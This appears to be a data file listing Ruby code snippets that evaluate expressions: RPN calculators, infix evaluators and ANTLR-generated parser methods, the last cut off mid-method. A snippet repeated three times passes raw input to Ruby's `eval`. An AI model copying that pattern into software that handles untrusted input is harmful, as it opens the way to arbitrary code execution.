"def evaluate(exp)\n\twhile x = exp =~ /[\\*\\/]/\n\t\tres = 0\n\t\tcase exp[x]\n\t\twhen '*'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 * num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\*\\d*/, res)\n\t\twhen '/'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 / num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\/\\d*/, res)\n\t\tend\n\tend\n\twhile x = exp =~ /[\\+\\-]/\n\t\tres = 0\n\t\tcase exp[x]\n\t\twhen '+'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 + num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\+\\d*/, res)\n\t\twhen '-'\n\t\t\tk, p = x-1, \"\"\n\t\t\tnum1, num2 = 0, 0\n\t\t\twhile k >= 0\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk -= 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum1 = p.reverse.to_i\n\t\t\tk, p = x+1, \"\"\n\t\t\twhile k < exp.length\n\t\t\t\tif exp[k] != '*' && exp[k] != '/' && exp[k] != '+' && exp[k] != '-'\n\t\t\t\t\tp += exp[k]\n\t\t\t\t\tk += 1\n\t\t\t\telse\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tnum2 = p.to_i\n\t\t\tres = num1 - num2\n\t\t\tres = res.to_s\n\t\t\texp = exp.sub(/\\d*\\-\\d*/, res)\n\t\tend\n\tend\n\texp\nend",
"def result\n return @left_operand - @right_operand\n end",
"def eval(n)\n case n\n when Sum[e1 = _, e2 = _] then eval(e1) + eval(e2)\n when Number[n = _] then n\n end\nend",
"def evaluate(input)\n result = parse(input, :Expr, @rules, **@options)\n # This is called for each Expr\n puts result\n end",
"def rpn(operation)\n rpn_stack = Stack.new\n tokens = parse_tokens(operation)\n puts tokens.to_s\n tokens.each do |token|\n if !is_operator?(token)\n puts \"pushing token #{token}\"\n rpn_stack.push(token)\n else\n val2 = rpn_stack.pop\n val1 = rpn_stack.pop\n rpn_stack.push(calculate(val1,val2, token))\n end # end of if\n end # end of each\n rpn_stack.pop\nend",
"def expr1\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 2 )\n value = nil\n e = nil\n\n begin\n # at line 28:5: e= number ( '*' e= number | '/' e= number )*\n @state.following.push( TOKENS_FOLLOWING_number_IN_expr1_207 )\n e = number\n @state.following.pop\n # --> action\n value = e \n # <-- action\n # at line 29:5: ( '*' e= number | '/' e= number )*\n while true # decision 2\n alt_2 = 3\n look_2_0 = @input.peek( 1 )\n\n if ( look_2_0 == T__12 )\n alt_2 = 1\n elsif ( look_2_0 == T__13 )\n alt_2 = 2\n\n end\n case alt_2\n when 1\n # at line 29:7: '*' e= number\n match( T__12, TOKENS_FOLLOWING_T__12_IN_expr1_217 )\n @state.following.push( TOKENS_FOLLOWING_number_IN_expr1_221 )\n e = number\n @state.following.pop\n # --> action\n value *= e \n # <-- action\n\n when 2\n # at line 30:7: '/' e= number\n match( T__13, TOKENS_FOLLOWING_T__13_IN_expr1_231 )\n @state.following.push( TOKENS_FOLLOWING_number_IN_expr1_235 )\n e = number\n @state.following.pop\n # --> action\n value /= e \n # <-- action\n\n else\n break # out of loop for decision 2\n end\n end # loop for decision 2\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 2 )\n\n end\n \n return value\n end",
"def eval_expression\n @evaluated_expression =\n ConlangWordGenerator::run_expression(@full_expression, @bindings)\n end",
"def calculate str\n ast = parse_expr(str)[1]\n puts ast.to_s\n evaluate_tree(ast)\n end",
"def rpn_calculator(str)\nend",
"def eval_and_convert(expression)\n notify_expression_listeners(expression)\n success, value = convert_to_ruby_object(@engine.parseAndEval(expression))\n raise RriException.new(\"Failed to convert R object to ruby object for: #{value}\") unless success\n value\n end",
"def execute_expression\n valid_input\n to_roman(to_num(@operand_one).send(@operator, to_num(@operand_two)))\n end",
"def evaluation(input)\n evaluations = body.each_with_object([]) do |evaluator, aggregate|\n evaluation = evaluator.evaluation(input)\n aggregate << evaluation\n return evaluation_negative(input, aggregate) unless evaluation.output\n end\n\n evaluation_positive(input, evaluations)\n end",
"def evaluation(input)\n evaluations = body.each_with_object([]) do |evaluator, aggregate|\n evaluation = evaluator.evaluation(input)\n aggregate << evaluation\n return evaluation_positive(input, aggregate) if evaluation.output\n end\n\n evaluation_negative(input, evaluations)\n end",
"def evaluate_postfix_expression(postfix_input)\n unless @target.respond_to? :e1311_postfix_evaluator\n fail 'You must solve test_e1311_postfix_evaluator first'\n end\n\n begin\n return @target.e1311_postfix_evaluator(postfix_input)\n rescue Exception => error\n msg = \"Bad postfix format: #{postfix_input}, #{error.message}\"\n raise Test::Unit::AssertionFailedError.new(msg)\n end\n end",
"def evaluate(op, left_arg, right_arg)\n case\n when op == '+' then return left_arg + right_arg\n when op == '-' then return left_arg - right_arg\n when op == '*' then return left_arg * right_arg\n when op == '/' then return left_arg / right_arg\n when op == '%' then return left_arg % right_arg\n end\nend",
"def expression\n n = term\n while next_token == '+' || next_token == '-'\n op = consume\n m = term\n n = case op\n when '+'\n n + m\n when '-'\n n - m\n else\n nil\n end\n end\n n\n end",
"def evaluate_postfix(postfix_expression)\n operands = Set['+', '-', '*', '/'] # assume only these four operands for now\n stack = Stack.new # track operation results\n\n postfix_expression.each_char do |c| # assume expresion is valid\n if operands.include?(c) # is operand\n b = stack.pop # get second number pushed\n a = stack.pop # pop again for first number pushed\n\n new_top = 0\n\n # calculate new number to push into stack\n new_top += case c\n when '+' \n a + b\n when '-'\n a - b\n when '/'\n a / b\n when '*'\n a * b\n end\n\n stack.push(new_top) # add back to top of stack\n\n else # is number\n stack.push(c.to_i)\n end\n end\n\n return stack.pop\nend",
"def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"def desired_result\n CodeEvaluator.evaluate(result)\n end",
"def NR(exp,num,prec)\r\n\tres = Float(num)\r\n\twhile((res**exp - num) > prec)\r\n\t\tres = res - (((res**exp) - num)/(exp*(res**(exp-1))))\r\n\t\t#puts res\r\n\tend\r\n\treturn res\r\nend",
"def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 29 )\n\n\n value = nil\n\n\n type = nil\n a = nil\n b = nil\n\n\n begin\n # at line 185:5: a= relation (type= ( '&&' | '||' ) b= expression )?\n @state.following.push( TOKENS_FOLLOWING_relation_IN_expression_1389 )\n a = relation\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = a \n # <-- action\n end\n\n # at line 186:3: (type= ( '&&' | '||' ) b= expression )?\n alt_45 = 2\n look_45_0 = @input.peek( 1 )\n\n if ( look_45_0 == T__33 || look_45_0 == T__54 )\n alt_45 = 1\n end\n case alt_45\n when 1\n # at line 186:6: type= ( '&&' | '||' ) b= expression\n type = @input.look\n\n if @input.peek(1) == T__33 || @input.peek(1) == T__54\n @input.consume\n @state.error_recovery = false\n\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n\n mse = MismatchedSet( nil )\n raise mse\n\n end\n\n\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_1410 )\n b = expression\n @state.following.pop\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n value = DoubleOperandExpressionEval.new(type.text, a, b) \n # <-- action\n end\n\n\n end\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 29 )\n\n\n end\n\n return value\n end",
"def calculate(input)\n\tUTIL::Log.debug(\"processing: #{input}\")\n expr = @scanner.tokenize(input)\n\tUTIL::Log.debug(\"tokenized expression: #{expr}\")\n postfix_expr = @translate.to_postfix(expr)\n\tUTIL::Log.debug(\"postfix expression: #{postfix_expr}\")\n result = @calc.eval(postfix_expr)\n UTIL::Log.debug(\"result: #{result}\")\n\tresult\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n SYMBOL_TABLE[token].arity.times do\n args.unshift(stack.pop)\n end\n\n stack.push(call_operator(token, *args))\n else\n raise \"omg what is this token?\"\n end\n end\n\n stack.pop\n end",
"def evaluate(input)\n if input.operator?\n perform_operation(input)\n else\n input\n end\n end",
"def evaluate\n stack = Stack.new\n\n tokens.each do |token|\n if numeric?(token)\n stack.push(token.to_i)\n elsif operator?(token)\n args = []\n\n (SYMBOL_TABLE[token].arity - 1).times do\n # This adds the return value of stack.pop to the beginning of the\n # args array\n args.unshift(stack.pop)\n end\n\n # The *args syntax might be unfamiliar. It's called the \"splat\"\n # operator and among other things it lets you turn an array into\n # a list of arguments.\n stack.push(call_operator(stack, token, *args))\n else\n stack.push(token)\n end\n end\n\n stack.pop\n end",
"def elegant_calc(expr)\n expr.split.each_with_object([]) { |e, a|\n if e.match(/\\d+/)\n a << e.to_f\n else\n y, x = a.pop, a.pop\n a << x.send(e, y)\n end\n }.last || 0\nend",
"def result \n return @left_operand + @right_operand\n end",
"def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"def eval_expression\n @input = eval(@input).to_s\n @output.text = @input\n end",
"def evaluate_expression vector\n\t\t\t\tsum = 0\n\t\t\t\t@coefficients.length.times { |index|\n\t\t\t\t\tsum+=@coefficients[index]*vector[index]\n\t\t\t\t}\n\t\t\t\treturn 1.0/sum\n\t\t\tend",
"def rec_eval(scope, expr, state)\n\n if is?(expr[:term], :register) || is?(expr[:term], :special)\n unless state[:register].nil? && state[:special].nil?\n raise EvalError.new(\"Only one register or special value may be referenced per expression.\")\n end\n \n unless state[:accum].nil? || expr[:rhs].nil?\n\n raise EvalError.new(\"Registers and special values may only appear as left- or right-most term of an expression.\")\n end\n \n if is?(expr[:term], :register)\n state[:register] = REGISTERS[expr[:term][:token]]\n state[:reg_tok] = expr[:term][:token]\n else\n state[:special] = VALUES[expr[:term][:token]]\n state[:special_tok] = expr[:term][:token]\n end\n elsif is?(expr[:term], :literal) || is?(expr[:term], :reference)\n state[:accum] = 0 if state[:accum].nil?\n loc_value = 0\n \n if is?(expr[:term], :literal)\n loc_value = expr[:term][:value]\n else\n sym = scope.ref(expr[:term][:token])\n if sym.nil?\n raise LinkError.new(\"Cannot find symbol for reference '#{expr[:term][:token]}'\")\n end\n sym.referenced\n loc_value = sym.def_instr.address\n end\n \n if expr[:term][:operator] && expr[:term][:operator] == '-'\n state[:accum] -= loc_value\n else\n state[:accum] += loc_value\n end\n else\n puts \"What the fuck is that?\"\n exit 1 \n end\n\n if expr[:rhs]\n rec_eval(scope, expr[:rhs], state)\n end\n\n return state\n end",
"def num\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 55 )\n return_value = NumReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n num_start_index = @input.index\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n # at line 345:22: ( DIGIT )+\n # at file 345:22: ( DIGIT )+\n match_count_39 = 0\n while true\n alt_39 = 2\n look_39_0 = @input.peek( 1 )\n\n if ( look_39_0 == DIGIT )\n alt_39 = 1\n\n end\n case alt_39\n when 1\n # at line 0:0: DIGIT\n match( DIGIT, TOKENS_FOLLOWING_DIGIT_IN_num_2214 )\n\n else\n match_count_39 > 0 and break\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n eee = EarlyExit(39)\n\n\n raise eee\n end\n match_count_39 += 1\n end\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n return_value.value = @input.to_s( return_value.start, @input.look( -1 ) ).to_i\n # <-- action\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 55 )\n memoize( __method__, num_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"def expression\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n return_value = ExpressionReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n\n _last = _first_0 = nil\n char_literal106 = nil\n char_literal110 = nil\n string_literal113 = nil\n __SLASH_ASGN116__ = nil\n __MOD_ASGN119__ = nil\n string_literal122 = nil\n string_literal125 = nil\n string_literal128 = nil\n string_literal131 = nil\n string_literal134 = nil\n string_literal137 = nil\n string_literal140 = nil\n string_literal143 = nil\n string_literal146 = nil\n char_literal149 = nil\n string_literal152 = nil\n char_literal155 = nil\n char_literal158 = nil\n string_literal161 = nil\n string_literal164 = nil\n string_literal167 = nil\n char_literal170 = nil\n char_literal173 = nil\n __MOD176__ = nil\n __SLASH179__ = nil\n char_literal182 = nil\n string_literal185 = nil\n string_literal188 = nil\n string_literal191 = nil\n string_literal194 = nil\n string_literal197 = nil\n string_literal200 = nil\n char_literal203 = nil\n char_literal206 = nil\n string_literal209 = nil\n string_literal212 = nil\n string_literal215 = nil\n string_literal217 = nil\n string_literal219 = nil\n string_literal221 = nil\n string_literal223 = nil\n __UPLUS225__ = nil\n __UMINUS227__ = nil\n char_literal229 = nil\n char_literal231 = nil\n __POST_INCR233__ = nil\n __POST_DECR235__ = nil\n __AREF237__ = nil\n char_literal240 = nil\n __CALL243__ = nil\n __ITER246__ = nil\n string_literal249 = nil\n expression107 = nil\n expression108 = nil\n expression109 = nil\n expression111 = nil\n expression112 = nil\n expression114 = nil\n expression115 = nil\n expression117 = nil\n expression118 = nil\n expression120 = nil\n expression121 = nil\n expression123 = nil\n expression124 = nil\n expression126 = nil\n expression127 = nil\n expression129 = nil\n expression130 = nil\n expression132 = nil\n expression133 = nil\n expression135 = nil\n expression136 = nil\n expression138 = nil\n expression139 = nil\n expression141 = nil\n expression142 = nil\n expression144 = nil\n expression145 = nil\n expression147 = nil\n expression148 = nil\n expression150 = nil\n expression151 = nil\n expression153 = nil\n expression154 = nil\n expression156 = nil\n expression157 = nil\n expression159 = nil\n expression160 = nil\n expression162 = nil\n expression163 = nil\n expression165 = nil\n expression166 = nil\n expression168 = nil\n expression169 = nil\n expression171 = nil\n expression172 = nil\n expression174 = nil\n expression175 = nil\n expression177 = nil\n expression178 = nil\n expression180 = nil\n expression181 = nil\n expression183 = nil\n expression184 = nil\n expression186 = nil\n expression187 = nil\n expression189 = nil\n expression190 = nil\n expression192 = nil\n expression193 = nil\n expression195 = nil\n expression196 = nil\n expression198 = nil\n expression199 = nil\n expression201 = nil\n expression202 = nil\n expression204 = nil\n expression205 = nil\n expression207 = nil\n expression208 = nil\n expression210 = nil\n expression211 = nil\n expression213 = nil\n expression214 = nil\n expression216 = nil\n expression218 = nil\n expression220 = nil\n expression222 = nil\n expression224 = nil\n expression226 = nil\n expression228 = nil\n expression230 = nil\n expression232 = nil\n expression234 = nil\n expression236 = nil\n expression238 = nil\n expression239 = nil\n expression241 = nil\n property_name242 = nil\n expression244 = nil\n arguments245 = nil\n parameters247 = nil\n block248 = nil\n expression250 = nil\n arguments251 = nil\n literal252 = nil\n\n tree_for_char_literal106 = nil\n tree_for_char_literal110 = nil\n tree_for_string_literal113 = nil\n tree_for_SLASH_ASGN116 = nil\n tree_for_MOD_ASGN119 = nil\n tree_for_string_literal122 = nil\n tree_for_string_literal125 = nil\n tree_for_string_literal128 = nil\n tree_for_string_literal131 = nil\n tree_for_string_literal134 = nil\n tree_for_string_literal137 = nil\n tree_for_string_literal140 = nil\n tree_for_string_literal143 = nil\n tree_for_string_literal146 = nil\n tree_for_char_literal149 = nil\n tree_for_string_literal152 = nil\n tree_for_char_literal155 = nil\n tree_for_char_literal158 = nil\n tree_for_string_literal161 = nil\n tree_for_string_literal164 = nil\n tree_for_string_literal167 = nil\n tree_for_char_literal170 = nil\n tree_for_char_literal173 = nil\n tree_for_MOD176 = nil\n tree_for_SLASH179 = nil\n tree_for_char_literal182 = nil\n tree_for_string_literal185 = nil\n tree_for_string_literal188 = nil\n tree_for_string_literal191 = nil\n tree_for_string_literal194 = nil\n tree_for_string_literal197 = nil\n tree_for_string_literal200 = nil\n tree_for_char_literal203 = nil\n tree_for_char_literal206 = nil\n tree_for_string_literal209 = nil\n tree_for_string_literal212 = nil\n tree_for_string_literal215 = nil\n tree_for_string_literal217 = nil\n tree_for_string_literal219 = nil\n tree_for_string_literal221 = nil\n tree_for_string_literal223 = nil\n tree_for_UPLUS225 = nil\n tree_for_UMINUS227 = nil\n tree_for_char_literal229 = nil\n tree_for_char_literal231 = nil\n tree_for_POST_INCR233 = nil\n tree_for_POST_DECR235 = nil\n tree_for_AREF237 = nil\n tree_for_char_literal240 = nil\n tree_for_CALL243 = nil\n tree_for_ITER246 = nil\n tree_for_string_literal249 = nil\n\n begin\n # at line 150:3: ( ^( '?' expression expression expression ) | ^( '=' expression expression ) | ^( '*=' expression expression ) | ^( SLASH_ASGN expression expression ) | ^( MOD_ASGN expression expression ) | ^( '+=' expression expression ) | ^( '-=' expression expression ) | ^( '<<=' expression expression ) | ^( '>>=' expression expression ) | ^( '>>>=' expression expression ) | ^( '&=' expression expression ) | ^( '^=' expression expression ) | ^( '||=' expression expression ) | ^( '|=' expression expression ) | ^( '|' expression expression ) | ^( '||' expression expression ) | ^( '&' expression expression ) | ^( '^' expression expression ) | ^( '>>' expression expression ) | ^( '<<' expression expression ) | ^( '>>>' expression expression ) | ^( '-' expression expression ) | ^( '+' expression expression ) | ^( MOD expression expression ) | ^( SLASH expression expression ) | ^( '*' expression expression ) | ^( '==' expression expression ) | ^( '===' expression expression ) | ^( '!=' expression expression ) | ^( '!==' expression expression ) | ^( '>=' expression expression ) | ^( '<=' expression expression ) | ^( '>' expression expression ) | ^( '<' expression expression ) | ^( 'instanceof' expression expression ) | ^( 'in' expression expression ) | ^( 'delete' expression ) | ^( 'void' expression ) | ^( 'typeof' expression ) | ^( '++' expression ) | ^( '--' expression ) | ^( UPLUS expression ) | ^( UMINUS expression ) | ^( '~' expression ) | ^( '!' expression ) | ^( POST_INCR expression ) | ^( POST_DECR expression ) | ^( AREF expression expression ) | ^( '.' expression property_name ) | ^( CALL expression arguments ) | ^( ITER parameters block ) | ^( 'new' expression ( arguments )? ) | literal )\n alt_32 = 53\n case look_32 = @input.peek( 1 )\n when QMARK then alt_32 = 1\n when ASGN then alt_32 = 2\n when STAR_ASGN then alt_32 = 3\n when SLASH_ASGN then alt_32 = 4\n when MOD_ASGN then alt_32 = 5\n when PLUS_ASGN then alt_32 = 6\n when MINUS_ASGN then alt_32 = 7\n when LSHIFT_ASGN then alt_32 = 8\n when RSHIFT_ASGN then alt_32 = 9\n when RSHIFT3_ASGN then alt_32 = 10\n when AMP_ASGN then alt_32 = 11\n when HAT_ASGN then alt_32 = 12\n when OR_ASGN then alt_32 = 13\n when PIPE_ASGN then alt_32 = 14\n when PIPE then alt_32 = 15\n when OR then alt_32 = 16\n when AMP then alt_32 = 17\n when HAT then alt_32 = 18\n when RSHIFT then alt_32 = 19\n when LSHIFT then alt_32 = 20\n when RSHIFT3 then alt_32 = 21\n when MINUS then alt_32 = 22\n when PLUS then alt_32 = 23\n when MOD then alt_32 = 24\n when SLASH then alt_32 = 25\n when STAR then alt_32 = 26\n when EQ then alt_32 = 27\n when EQQ then alt_32 = 28\n when NEQ then alt_32 = 29\n when NEQQ then alt_32 = 30\n when GEQ then alt_32 = 31\n when LEQ then alt_32 = 32\n when GREATER then alt_32 = 33\n when LESS then alt_32 = 34\n when INSTANCEOF then alt_32 = 35\n when IN then alt_32 = 36\n when DELETE then alt_32 = 37\n when VOID then alt_32 = 38\n when TYPEOF then alt_32 = 39\n when INCR then alt_32 = 40\n when DECR then alt_32 = 41\n when UPLUS then alt_32 = 42\n when UMINUS then alt_32 = 43\n when TILDE then alt_32 = 44\n when NOT then alt_32 = 45\n when POST_INCR then alt_32 = 46\n when POST_DECR then alt_32 = 47\n when AREF then alt_32 = 48\n when DOT then alt_32 = 49\n when CALL then alt_32 = 50\n when ITER then alt_32 = 51\n when NEW then alt_32 = 52\n when FUNCTION, ARRAY, ARROW, REGEX, THIS, TRUE, UNDEFINED, NULL, OBJECT, FALSE, ID, IVAR, NUMBER, STRING, DOC then alt_32 = 53\n else\n raise NoViableAlternative( \"\", 32, 0 )\n end\n case alt_32\n when 1\n root_0 = @adaptor.create_flat_list\n\n\n # at line 150:5: ^( '?' expression expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal106 = match( QMARK, TOKENS_FOLLOWING_QMARK_IN_expression_813 )\n\n tree_for_char_literal106 = @adaptor.copy_node( char_literal106 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal106, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_815 )\n expression107 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression107.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_817 )\n expression108 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression108.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_819 )\n expression109 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression109.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 2\n root_0 = @adaptor.create_flat_list\n\n\n # at line 151:5: ^( '=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n char_literal110 = match( ASGN, TOKENS_FOLLOWING_ASGN_IN_expression_829 )\n\n tree_for_char_literal110 = @adaptor.copy_node( char_literal110 )\n\n root_1 = @adaptor.become_root( tree_for_char_literal110, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_831 )\n expression111 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression111.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_833 )\n expression112 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression112.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 3\n root_0 = @adaptor.create_flat_list\n\n\n # at line 152:5: ^( '*=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal113 = match( STAR_ASGN, TOKENS_FOLLOWING_STAR_ASGN_IN_expression_843 )\n\n tree_for_string_literal113 = @adaptor.copy_node( string_literal113 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal113, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_845 )\n expression114 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression114.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_847 )\n expression115 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression115.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 4\n root_0 = @adaptor.create_flat_list\n\n\n # at line 153:5: ^( SLASH_ASGN expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __SLASH_ASGN116__ = match( SLASH_ASGN, TOKENS_FOLLOWING_SLASH_ASGN_IN_expression_857 )\n\n tree_for_SLASH_ASGN116 = @adaptor.copy_node( __SLASH_ASGN116__ )\n\n root_1 = @adaptor.become_root( tree_for_SLASH_ASGN116, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_859 )\n expression117 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression117.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_861 )\n expression118 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression118.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 5\n root_0 = @adaptor.create_flat_list\n\n\n # at line 154:5: ^( MOD_ASGN expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n __MOD_ASGN119__ = match( MOD_ASGN, TOKENS_FOLLOWING_MOD_ASGN_IN_expression_871 )\n\n tree_for_MOD_ASGN119 = @adaptor.copy_node( __MOD_ASGN119__ )\n\n root_1 = @adaptor.become_root( tree_for_MOD_ASGN119, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_873 )\n expression120 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression120.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_875 )\n expression121 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression121.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 6\n root_0 = @adaptor.create_flat_list\n\n\n # at line 155:5: ^( '+=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal122 = match( PLUS_ASGN, TOKENS_FOLLOWING_PLUS_ASGN_IN_expression_885 )\n\n tree_for_string_literal122 = @adaptor.copy_node( string_literal122 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal122, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_887 )\n expression123 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression123.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_889 )\n expression124 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression124.tree )\n\n match( UP, nil )\n @adaptor.add_child( root_0, root_1 )\n _last = _save_last_1\n\n\n\n when 7\n root_0 = @adaptor.create_flat_list\n\n\n # at line 156:5: ^( '-=' expression expression )\n _save_last_1 = _last = @input.look\n _first_1 = nil\n root_1 = @adaptor.create_flat_list\n _last = @input.look\n string_literal125 = match( MINUS_ASGN, TOKENS_FOLLOWING_MINUS_ASGN_IN_expression_899 )\n\n tree_for_string_literal125 = @adaptor.copy_node( string_literal125 )\n\n root_1 = @adaptor.become_root( tree_for_string_literal125, root_1 )\n\n\n\n match( DOWN, nil )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_901 )\n expression126 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression126.tree )\n _last = @input.look\n @state.following.push( TOKENS_FOLLOWING_expression_IN_expression_903 )\n expression127 = expression\n @state.following.pop\n\n @adaptor.add_child( root_1, expression127.tree )\n\n match( UP, nil )\n 